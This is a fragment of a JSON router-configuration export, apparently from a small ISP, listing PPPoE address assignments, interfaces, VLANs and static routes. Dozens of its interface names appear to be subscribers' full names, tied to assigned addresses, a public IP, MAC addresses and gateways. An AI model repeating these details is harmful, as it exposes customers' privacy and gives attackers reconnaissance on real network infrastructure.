|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.39",
|
||||||
|
"interface": "<pppoe-ericbarrett>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.40",
|
||||||
|
"interface": "<pppoe-debravega>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "204.110.188.230",
|
||||||
|
"interface": "<pppoe-kirkvanmeter>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.10",
|
||||||
|
"interface": "<pppoe-almaacosta>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.38",
|
||||||
|
"interface": "<pppoe-jacquelinewilder>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.69",
|
||||||
|
"interface": "<pppoe-keithtucker>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.67",
|
||||||
|
"interface": "<pppoe-bradslate>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.33",
|
||||||
|
"interface": "<pppoe-kimberlyrichards>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.32",
|
||||||
|
"interface": "<pppoe-stevenspurgers>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.18",
|
||||||
|
"interface": "<pppoe-crankkeith>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.25",
|
||||||
|
"interface": "<pppoe-dougstowe>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.37",
|
||||||
|
"interface": "<pppoe-nathanmctee>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.29",
|
||||||
|
"interface": "<pppoe-srireddy>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.5",
|
||||||
|
"interface": "<pppoe-maryhopper>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.66",
|
||||||
|
"interface": "<pppoe-michaeltalbot>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.15",
|
||||||
|
"interface": "<pppoe-scottarmstrong>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.68",
|
||||||
|
"interface": "<pppoe-donnance>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.46",
|
||||||
|
"interface": "<pppoe-kellygarza>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.44",
|
||||||
|
"interface": "<pppoe-stevechristiaens>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.15.253/32",
|
||||||
|
"network": "100.64.0.24",
|
||||||
|
"interface": "<pppoe-penneywarner>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether3-climax-11ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "78:9A:18:52:B1:BF",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6-switch",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "78:9A:18:52:B1:C2",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus1-verona-tower-switch",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "78:9A:18:52:B1:CD",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-allentaylor2>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-allentaylor>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-almaacosta>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-amberkrings>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-austinwatkins>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-barbihardin>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-billmctee>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-bradslate>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-cherieeshelman>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chrissyeagle2>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chrissyeagle>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-crankkeith>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-dananance>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-davidlanman>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-debravega>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-dejadodson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-donnance>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-dougstowe>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ericbarrett>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jacquelinewilder>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-joeywhitfield>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-judydevine>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-karenstewart>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-keithtucker>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kellygarza>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kimberlyrichards2>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kimberlyrichards>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kirkvanmeter>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-krystabates>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mariatrejo>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-markfisher>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-maryhopper>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-michaeltalbot>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-nathanmctee>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-pablohernandez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-pambanschbach>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-penneywarner>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ronlewis>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-scottarmstrong>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-sherryerichardson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-srireddy>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-stevechristiaens>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-stevenspurgers>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-teresarobinson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-tjbanschbach>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-vancepeltonen>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-whiteywhite>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-williamarmstrong>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-yolandamedrano>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "cpe_vlan_10",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "78:9A:18:52:B1:C6",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "82:B3:60:CE:62:81",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "public_vlan_100",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "82:B3:60:CE:62:81",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "temp",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "26:46:20:4A:56:C4",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "verona",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "78:9A:18:52:B1:C2",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan9_sfpplus1",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "78:9A:18:52:B1:CD",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether6",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "78:9A:18:52:B1:C2",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_19_ether6",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "78:9A:18:52:B1:C2",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vxlan-380",
|
||||||
|
"type": "vxlan",
|
||||||
|
"mac": "26:46:20:4A:56:C4",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan9_sfpplus1",
|
||||||
|
"vlan_id": 9,
|
||||||
|
"interface": "sfp-sfpplus1-verona-tower-switch"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether15",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether15_wave_n"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_sfpplus2",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "sfp-sfpplus2-switch"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_10_ether6",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "verona"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_19_ether6",
|
||||||
|
"vlan_id": 19,
|
||||||
|
"interface": "ether6-switch"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": "verona",
|
||||||
|
"interface": "verona"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "altoga",
|
||||||
|
"interface": "vlan_19_ether6"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": [
|
||||||
|
{
|
||||||
|
"destination": "10.0.16.1/32",
|
||||||
|
"gateway": "204.110.188.225",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.0.16.10/32",
|
||||||
|
"gateway": "204.110.188.225",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.0.16.84/32",
|
||||||
|
"gateway": "204.110.188.225",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.43.0.0/16",
|
||||||
|
"gateway": "204.110.191.1",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
Loading…
Add table
Reference in a new issue